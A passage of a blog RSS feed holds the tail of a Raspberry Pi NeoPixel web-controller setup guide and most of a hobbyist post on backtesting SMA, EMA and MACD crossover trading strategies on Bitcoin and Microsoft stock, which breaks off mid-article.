&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Unit]
Description=NeoPixel Flask Web App
After=network.target

[Service]
ExecStart=/usr/bin/python3 /home/lights/Light-Web-Controller/app.py
WorkingDirectory=/home/lights/Light-Web-Controller
StandardOutput=inherit
StandardError=inherit
Restart=always
User=root

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you remember, my user is called "lights". If you used a different username, make sure you change it here. Now lets enable it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo systemctl daemon-reexec
sudo systemctl daemon-reload
sudo systemctl enable ledapp
sudo systemctl start ledapp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Lets check the status of that with &lt;code&gt;sudo systemctl status ledapp&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;you should get a output along the lines of&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;● ledapp.service - NeoPixel Flask Web App
     Loaded: loaded (/etc/systemd/system/ledapp.service; enabled; preset: enabled)
     Active: active (running) since Fri 2025-07-18 15:13:55 BST; 49min ago
   Main PID: 406 (python3)
      Tasks: 4 (limit: 374)
        CPU: 19.808s
     CGroup: /system.slice/ledapp.service
             └─406 /usr/bin/python3 /home/lights/Light-Web-Controller/app.py

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So this should start up on boot now. Let's set a hostname, then restart it.&lt;/p&gt;

&lt;p&gt;Run&lt;br&gt;
&lt;br&gt;
 &lt;code&gt;sudo raspi-config&lt;/code&gt;&lt;br&gt;
&lt;br&gt;
, and navigate through the menus with your keys: &lt;code&gt;System Options &amp;gt; Hostname&lt;/code&gt;. The default host name is &lt;code&gt;raspberrypi&lt;/code&gt; I changed mine to &lt;code&gt;smartlight&lt;/code&gt; just make sure its all lowercase and has no spaces. After that you should be prompted to restart the pi. If you did't run &lt;code&gt;sudo reboot&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;Once the Pi has turned back on you should be able to open up your firefox (fine ill let you use other browsers if you really want to) and type in &lt;code&gt;http://smartlight.local/&lt;/code&gt; this will be the control panel to your lights. &lt;/p&gt;

&lt;p&gt;If you enjoyed the blog, feel free to join &lt;a href="https://discord.gg/2SZm46Jevq" rel="noopener noreferrer"&gt;Discord&lt;/a&gt; to get updates and discuss the articles, or follow the &lt;a href="https://blog.michaelrbparker.com/rss.xml" rel="noopener noreferrer"&gt;RSS feed&lt;/a&gt;. If you feel like supporting me feel free to donate a cuppa using the buy me a coffee link in the corner, it helps me keep making these kind of projects.&lt;/p&gt;

</description>
      <category>programming</category>
      <category>iot</category>
      <category>raspberrypi</category>
      <category>selfhosting</category>
    </item>
    <item>
      <title>How I made a basic trading bot for stock and crypto (~60 ROI)</title>
      <dc:creator>Michael Parker</dc:creator>
      <pubDate>Sun, 16 Mar 2025 08:20:39 +0000</pubDate>
      <link>https://dev.to/the_tea_drinker/how-i-made-a-basic-trading-bot-for-stock-and-crypto-60-roi-3kp6</link>
      <guid>https://dev.to/the_tea_drinker/how-i-made-a-basic-trading-bot-for-stock-and-crypto-60-roi-3kp6</guid>
      <description>&lt;p&gt;There are two fundamental problems with people. The biggest one is that they sleep. When we are sleeping, we are not making money, and as Warren Buffett probably said, "If you are not earning money while you're sleeping, then you will never be drinking rum on a yacht the size of Abu Dhabi's." I like rum, so it’s time to write some code to automate the trading of crypto and stocks so I’m still earning while drinking. &lt;strong&gt;SPOILER ALERT&lt;/strong&gt;: by the end of this project, I managed to achieve a return on investment of 65.2%.&lt;/p&gt;

&lt;p&gt;I know nothing about day trading or trading strategies, and I can only just read a candlestick graph. I am planning to try a few algorithms and see what works best, starting with a strategy called the Simple Moving Average (SMA) Crossover Strategy. To begin, there are two terms you need to know:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Short-term moving average (SMA): 7-day period&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A 7-day SMA means you calculate the average price over the last 7 days. Every day, we remove the oldest value and add the newest value.&lt;/p&gt;



&lt;p&gt;&lt;strong&gt;Long-term moving average (LMA): x-day period&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The LMA is quite similar to the SMA, but it takes a longer-term average (over x days). It reacts more slowly to price changes because it considers more historical data. The LMA helps us filter out the noise caused by one-day anomalies.&lt;/p&gt;

&lt;p&gt;So, the strategy is simple: let’s say the SMA is 100 and the LMA is 70—then we send a buy command. If the LMA is the larger number, we send a sell command. The cool thing about this strategy is that it works for both stocks and crypto.&lt;/p&gt;

&lt;p&gt;The first step is fetching the data. This should be the easiest step, right? Oh, how wrong I was. I decided to use Coinbase as my crypto exchange. I created my API key, added it to my &lt;code&gt;.env&lt;/code&gt; file, and—BAM—401 error. I spent about three hours battling the Coinbase API and its documentation. I finally had a realisation while walking to the pub: other crypto exchanges exist. So, I made an account with Binance, clicked "Verify," and—oh, it turns out Binance is banned in the UK. Next stop: Kraken. And, would you believe it? Their API just works. (Side note: Kraken supports Monero—win for privacy coins.)&lt;/p&gt;

&lt;p&gt;Another side note: if you work for any of these companies (or any other company) and have some company swag, shoot me an email.&lt;/p&gt;

&lt;p&gt;Now, future me decided to come back and test the algorithms for stocks as well. I ended up using the Alpha Vantage API. It was as easy as changing the API endpoints. They had almost the same headers, so there weren’t many changes needed to get this working for stock prediction.&lt;/p&gt;

&lt;p&gt;Now that we have the data, it’s time to get back to coding. (I write while coding, so at this point, you know as much as I do—or more, if you’ve jumped to the results page.)&lt;/p&gt;

&lt;p&gt;The Kraken API allows you to request data at specific intervals over a certain number of days. For example, you can request data for every hour over the last 25 days. However, you can’t just make up the intervals. In minutes, the options are:&lt;/p&gt;

&lt;p&gt;1, 5, 15, 30, 60 (1 hour), 240 (4 hours), 1440 (1 day), 10080 (1 week), or 21600 (2 weeks).&lt;/p&gt;

&lt;p&gt;Once we’ve made the API call and have the price for every hour over 25 days, I then need to put the data into an easy-to-use format. The API returns the data in JSON format, so I’m going to turn it into a dataframe. A dataframe is a two-dimensional tabular data structure—basically, think of it as a spreadsheet. It has rows and columns, with a column name and an index to locate each row. Here’s the neat bit of code to do that:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;


&lt;span class="k"&gt;def&lt;/span&gt;  &lt;span class="nf"&gt;CreateDF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

&lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Time&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Open&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;High&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Low&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Close&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="c1"&gt;# Convert the timestamp to datetime
&lt;/span&gt;
&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Time&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_datetime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Time&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;unit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set_index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Time&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;inplace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Convert price columns to floats
&lt;/span&gt;
&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Open&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Open&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;astype&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;High&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;High&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;astype&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Low&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Low&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;astype&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Close&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Close&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;astype&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, it’s time to calculate our moving averages. Luckily, this is only two lines of code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;


&lt;span class="k"&gt;def&lt;/span&gt;  &lt;span class="nf"&gt;calculate_sma&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Close&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;rolling&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;short_momentum = calculate_sma(dataframe, short_term_window)&lt;/p&gt;

&lt;p&gt;long_momentum = calculate_sma(dataframe, long_term_window)&lt;/p&gt;

&lt;p&gt;Its the time you all been waiting for. GRAPH TIME!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhtnxx97k36szpj8s96vi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhtnxx97k36szpj8s96vi.png" alt="SMA compairson " width="800" height="408"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Buy Signal&lt;/strong&gt; → When the short-term moving average (SMA 7 in red) crosses above the long-term moving average (SMA 25 in green).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sell Signal&lt;/strong&gt; → When the short-term moving average (SMA 7 in red) crosses below the long-term moving average (SMA 25 in green).&lt;/p&gt;

&lt;p&gt;Now, it’s time to simulate how much we would earn if we started with $100.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="n"&gt;initial_balance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;  &lt;span class="c1"&gt;# Starting balance in USD
&lt;/span&gt;
&lt;span class="n"&gt;btc_balance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="n"&gt;position&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

&lt;span class="n"&gt;buy_price&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="n"&gt;trade_log&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, we run through the simulation function. We loop through every hour from the start to the length of the dataframe. Next, we check for a buy signal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="n"&gt;short_momentum&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;long_momentum&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;short_momentum&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;long_momentum&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, we check if we currently have a position (i.e., if we own any Bitcoin).&lt;/p&gt;

&lt;p&gt;Then, we check if the long-term moving average crosses above the short-term moving average:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="n"&gt;short_momentum&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;long_momentum&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;short_momentum&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;long_momentum&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we own Bitcoin, we create a sell request. When we run out of data in the trading loop, all remaining crypto gets sold off.&lt;/p&gt;

&lt;p&gt;Here’s the output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
BUY at 85859.90 on 2025-03-02

SELL at 83918.20 on 2025-03-04

BUY at 89757.10 on 2025-03-05

SELL at 85926.00 on 2025-03-08

BUY at 82929.90 on 2025-03-12

SELL at 83271.00 on 2025-03-14

BUY at 84724.20 on 2025-03-14

FINAL SELL at 84223.30 on 2025-03-15

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is the trading graph going of this data.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9zidoyuk2slfly5r6mnw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9zidoyuk2slfly5r6mnw.png" alt="Trading" width="800" height="408"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So the stats with an initial balance of $100.00 we made 8 trades coming to a final balance of $93.40. This leads to an ROI (return on investment) of -6.60%. I’ll be honest—I was hoping for a positive ROI, but this is only a basic strategy. However, if I switch this from Bitcoin to MSFT (Microsoft stock), I get this graph:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnt211fnhsmw1y265wbmo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnt211fnhsmw1y265wbmo.png" alt="Microsoft" width="800" height="415"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This leads to a final balance of $139.53, which is an ROI of 39.53%. That is an impressive result and more in line with what I was hoping for. There’s no difference in the code when switching from crypto to stocks, so I thought I’d just include the final graph. It was kind of a spur-of-the-moment thing. Links to the code will be at the end.&lt;/p&gt;

&lt;p&gt;We can improve this by using a few systems, such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Exponential Moving Average (EMA) Crossover&lt;/strong&gt;,&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;MACD (Moving Average Convergence Divergence)&lt;/strong&gt;, and&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;RSI (Relative Strength Index) Strategy&lt;/strong&gt; (this one may be covered in another post).&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;strong&gt;Exponential Moving Average (EMA) Crossover&lt;/strong&gt; is a type of strategy that gives more weight to recent prices, making it react faster to price movements compared to the Simple Moving Average (SMA). With EMA, we apply a weighting that makes the most recent values have a greater impact than the older values.&lt;/p&gt;



&lt;p&gt;Where:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- \( EMA_t \) = Current EMA

- \( P_t \) = Current price

- \( EMA_{t-1} \) = Previous EMA

- \( \alpha \) = smoothing function

- \( N \) = Number of periods (window size)

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you don't get the maths don't worry about it. Here is a small table to show off how the EMA works. (I got the formular of wikipedia :@ :| )&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
Price EMA

0 10 10.000000

1 20 15.000000

2 30 22.500000

3 40 31.250000

4 50 40.625000

5 60 50.312500

6 70 60.156250

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The graphs for the EMA is pretty much the the same the only differnce is where the sell and by points are on graph.&lt;/p&gt;

&lt;p&gt;Well, this did not go according to plan. I ended up with a final balance of $91.03, which is an ROI of -8.97% when using Bitcoin. Before we consider this a write-off strategy, let's take another look at Microsoft stocks. With this new system, we end up with a final balance of $160.40, so that's an ROI of 60.40%. While this new algorithm is worse for crypto, we see a massive improvement when it comes to traditional stocks.&lt;/p&gt;

&lt;p&gt;I think we can still make this better, let’s give MACD (Moving Average Convergence Divergence) a go. MACD shows the relationship between two Exponential Moving Averages. It uses two lines: the MACD line, which measures the difference between the short and long-term averages, and the Signal line, which is a smoothed version of the Exponential Moving Average. We look for a BUY signal when the MACD crosses above the Signal Line, and a SELL signal is triggered when the MACD crosses below the Signal Line.&lt;/p&gt;

&lt;p&gt;Here is a graph of this.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7v1ibwpvvc6uzdypxy0e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7v1ibwpvvc6uzdypxy0e.png" alt="MACD CYPTO" width="800" height="406"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;its a bit hard to see whats going on with the MACD and the Signal lines here. So lets ZOOM AND ENHANCE.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6p1ysc5y765l20wui56u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6p1ysc5y765l20wui56u.png" alt="enter image description here" width="800" height="407"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, this leads to a final balance of $98.03, which results in an ROI of -1.97%. While this is still not a profit, it is the smallest crypto loss yet. So, let’s take a look at that Microsoft stock.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcro7h0k3sgz5nur1n5x2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcro7h0k3sgz5nur1n5x2.png" alt="MACD TRADES" width="800" height="415"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;ZOOM AND ENHANCE&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh6laldip8gfrhpz67m4y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh6laldip8gfrhpz67m4y.png" alt="ZOOMANDENHANC" width="800" height="414"&gt;&lt;/a&gt;&lt;/p&gt;

